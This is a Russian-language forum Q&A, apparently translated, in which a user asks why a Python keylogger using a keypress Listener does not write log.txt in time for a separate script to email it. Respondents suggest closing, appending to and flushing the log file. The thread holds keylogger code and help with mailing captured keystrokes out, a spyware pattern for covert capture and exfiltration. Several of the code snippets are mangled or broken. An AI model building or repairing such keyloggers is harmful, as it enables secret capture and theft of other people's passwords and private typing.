Я хочу отправить файл log.txt по электронной почте. Электронная почта работает, но этот регистратор не сохраняет файл. Сохраняет только при выходе. Так что он продолжает писать и писать. Я вставлял f.write после каждого нажатия клавиши, но это не сработало.
Если бы вы могли помочь, я был бы признателен.
Возникает вопрос: как сохранить его, чтобы сценарий электронной почты мог его читать / отправлять?
Код такой:
log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
f = open('log.txt', 'w')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
Попробуйте закрыть текстовый файл после того, как что-то будет записано в файл
f.close()
Также я бы предложил открыть его с помощью a+
, чтобы добавить файл
Так что-то вроде этого:
log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG,
format='%(asctime)s: %(message)s')
#f = open('log.txt', 'w')
def on_press(key):
f = open('log.txt', 'a+')
logging.info(str(key))
f.write("Put stuff here that you want written to a file")
f.close()
with Listener(on_press=on_press) as listener:
listener.join()
@iroL Если вы закроете файл, вам нужно будет его снова открыть
def on_press(key): logging.info(str(key)) f.close() open('log.txt', 'a+')
Как это верно?
@iroL Я отредактировал свой ответ, чтобы показать, что, по моему мнению, может сработать. Сообщите мне, если это произойдет!
Так не пойдет. UnboundLocalError: local variable 'f' referenced before assignment
Вам нужно очистить буфер. Пытаться
logging.getLogger().handlers[0].flush()
После каждого написания.
def on_press(key): logging.info(str(key)) logging.getLogger().handlers[0].flush() with Listener(on_press=on_press) as listener: listener.join()
все еще почему-то не работает. Я попытался открыть его снова: f = open('log.txt', 'a+') def on_press(key): logging.info(str(key)) logging.getLogger().handlers[0].flush() f.close() f with Listener(on_press=on_press) as listener: listener.join()
все еще не работает
Что ж, это все еще не работает.
def on_press(key): logging.info(str(key)) f.close() with Listener(on_press=on_press) as listener: listener.join()
Он пишет в файл при запуске, но не закрывает его, я думаю. По-прежнему ничего не отправляет с вложением.